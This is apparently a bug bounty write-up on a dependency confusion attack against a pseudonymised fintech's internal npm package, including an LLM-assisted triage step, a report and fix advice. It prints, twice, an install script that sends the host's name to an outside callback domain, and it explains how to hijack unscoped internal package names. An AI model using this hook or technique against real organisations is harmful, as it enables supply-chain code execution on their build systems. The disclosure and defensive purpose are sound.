October 22, 2026
$19,500 for a Package Name That Didn’t Exist Yet: A Dependency Confusion Supply Chain Takeover
This bug never touched Hartwell’s actual application code, their servers, or anything resembling a traditional request-response exploit…

By T4nv1
6 min read
This bug never touched Hartwell's actual application code, their servers, or anything resembling a traditional request-response exploit chain. The entire attack happened on a public package registry, days before anyone at the company would run the install command that quietly pulled my code into their build pipeline instead of their own.
The target, which I'll call Hartwell Digital here per their program's anonymization terms, is a fintech platform with a large internal engineering org and, like most companies that size, a mix of open-source dependencies and internally-built packages used across their build system.
Where I Actually Started Looking, and How I Got There Faster
I want to be upfront about something that's become a real part of how I work now, not just a footnote: I used an LLM-assisted step early in this hunt, and it's worth describing honestly rather than pretending the whole process was manual grep-and-squint the way it might have been a few years ago. Hartwell, like a lot of companies, had several open-source repositories on GitHub tied to public-facing SDKs and internal tooling. Rather than manually reading through every package.json, requirements.txt, and pom.xml across a dozen repos by hand, I pulled them all down and fed the dependency manifests to an LLM with a specific, narrow prompt: flag any package name that looks like an internal, company-scoped identifier rather than a known public package, and group them by naming pattern. That's a pattern-matching and triage task the model is genuinely good at — fast, parallel, and far less error-prone than me scrolling through hundreds of dependency lines looking for something that "feels internal." It surfaced a shortlist of about fifteen candidate names in a couple of minutes, flagged with its reasoning for each. I didn't trust that list blindly — every single one still needed to be manually verified against the actual public registries, because the model has no way of actually checking whether a name is registered or not, and it occasionally flagged perfectly ordinary public packages it simply didn't recognize. But narrowing fifteen candidates out of several hundred dependency lines, in minutes instead of an afternoon, is exactly the kind of leverage that's changed how efficiently this initial triage phase works.
What Dependency Confusion Actually Exploits
The vulnerability class itself has nothing to do with AI — it's a packaging and build-system trust problem that's existed as long as organizations have mixed public and private package registries. Many companies publish internal packages to a private registry, referenced in their build configuration by an ordinary-looking name with no special namespace or scope to mark it as private. If a build tool is configured to check multiple registries — the public registry and the company's private one — and isn't explicitly told the private registry always wins for that specific package name, some package managers default to installing whichever registry offers the higher version number, regardless of which registry it came from. An attacker who publishes a public package under the exact same name, with a deliberately inflated version number, can get that public, attacker-controlled package installed in place of the legitimate internal one, silently, the next time anyone on the target's engineering team runs an install.
Confirming the Candidate Name Was Actually Exploitable
From the shortlist, one name stood out as the strongest candidate: hartwell-auth-utils, referenced in a public repository's package.json as an internal dependency with no scope prefix, at version 2.3.1. I checked the public npm registry directly — the manual verification step the earlier triage list absolutely required — and confirmed no package by that exact name existed publicly at all. That's the entire vulnerability, confirmed in one request: if Hartwell's internal build systems ever resolved this package name against the public registry, whether due to a misconfigured registry priority, a developer's local environment lacking the private registry's proper configuration, or a CI pipeline with an incomplete scope setup, nothing on the public registry's side would stop me from claiming that name myself.
Publishing the Proof of Concept
I registered an npm account and published a package named exactly hartwell-auth-utils, at version 9.9.9 — deliberately far higher than the internal version I'd seen referenced, to maximize the odds of winning any version-based resolution ambiguity. The package's actual code did nothing malicious: on install, it made a single outbound HTTP request to a callback server I controlled, logging basic environment information (hostname, and nothing more sensitive than that) purely to confirm installation had actually occurred, then exited cleanly with no further behavior.
// install script, deliberately minimal and inert
const https = require('https');
const os = require('os');
https.get(`https://my-callback-domain.com/confirm?host=${encodeURIComponent(os.hostname())}`);// install script, deliberately minimal and inert
const https = require('https');
const os = require('os');
https.get(`https://my-callback-domain.com/confirm?host=${encodeURIComponent(os.hostname())}`);Published, publicly visible, and waiting.
Confirming the Chain Without Waiting on Luck
I didn't just publish and hope. I set up monitoring on my callback endpoint and, over the following several days, checked periodically — genuinely uncertain whether this would ever fire, since dependency confusion depends entirely on someone, somewhere in Hartwell's infrastructure, actually running an install that resolved against the public registry rather than their private one. On the fourth day, a request landed: a hostname pattern consistent with an internal CI build agent, not a developer's personal machine, suggesting an automated pipeline — not a single engineer's local environment — had resolved and installed my package during a routine build.
That's about as serious an outcome as this vulnerability class produces: confirmed code execution inside Hartwell's own build infrastructure, achieved entirely by publishing a correctly-named package to a public registry and waiting, with no interaction with any Hartwell-owned system required to get there at all.
Stopping Exactly There
I unpublished the package from npm within the hour of confirming the callback, specifically to close the exposure window immediately rather than leave a working proof of concept live on a public registry any longer than needed to document the finding. I never modified the inert install script to do anything beyond the single, harmless outbound confirmation request, and I made no attempt to explore what the compromised build agent could actually reach from there — that's real, serious follow-up work belonging entirely to Hartwell's own incident response process, not something a proof of concept needs to chase further.
The Report
Title: Dependency confusion vulnerability allows arbitrary code execution in internal CI build pipeline via public npm registry name collision
Root cause: The package hartwell-auth-utils, referenced internally without a private registry scope, has no corresponding reservation on the public npm registry. Build systems resolving this name without an explicit, enforced private-registry priority are vulnerable to having a higher-versioned, attacker-published public package silently substituted for the legitimate internal one.
Reproduction: The AI-assisted (then manually verified) candidate identification process, confirmation that the exact name was unclaimed on the public registry, the published proof-of-concept package's source in full, and the confirmed callback from infrastructure consistent with an internal build agent — with the package unpublished within an hour of confirmation.
Impact: Arbitrary code execution within Hartwell's build infrastructure, achievable by any external party simply by publishing a correctly-named, higher-versioned package to a public registry, requiring no access to any Hartwell-owned system at any point in the attack.
Fix recommendations:
- Publish placeholder packages under every internal package name on the relevant public registries, specifically to prevent squatting even if the name is never meant to be used publicly
- Configure every build system and CI pipeline to use scoped package names for internal packages, and enforce an explicit registry mapping so internal-scoped names can never resolve against the public registry under any circumstance
- Audit all internal package names across every repository for the same unscoped-naming pattern, since this is rarely an isolated instance once one is found
What Happened After
Hartwell's security and infrastructure teams treated this with real urgency — confirmed code execution inside a CI pipeline, from an entirely external vantage point, is about as serious a supply-chain finding as a bug bounty program sees. They reserved the affected package name and audited for others within 48 hours, and rolled out scoped package naming enforcement across their build systems over the following weeks. The report closed at $19,500, rated critical.
Why This Is Worth Hunting, and Where AI Tooling Actually Helps
Dependency confusion rewards breadth more than depth — the hard part isn't understanding the technique, which is well documented, it's efficiently surveying a large number of dependency manifests across many repositories to find the one unscoped, unclaimed internal name worth pursuing. That's precisely the kind of first-pass triage where an LLM earns its keep: fast pattern recognition across volume, provided every flagged candidate still gets manually verified before you act on it. The model doesn't replace the actual security judgment — deciding what's worth pursuing, confirming it's genuinely unclaimed, building a safe and inert proof of concept, and knowing when to stop are all still entirely on the researcher. It just means the unglamorous scanning work that used to eat an afternoon now takes minutes, leaving more time for the parts that actually require expertise.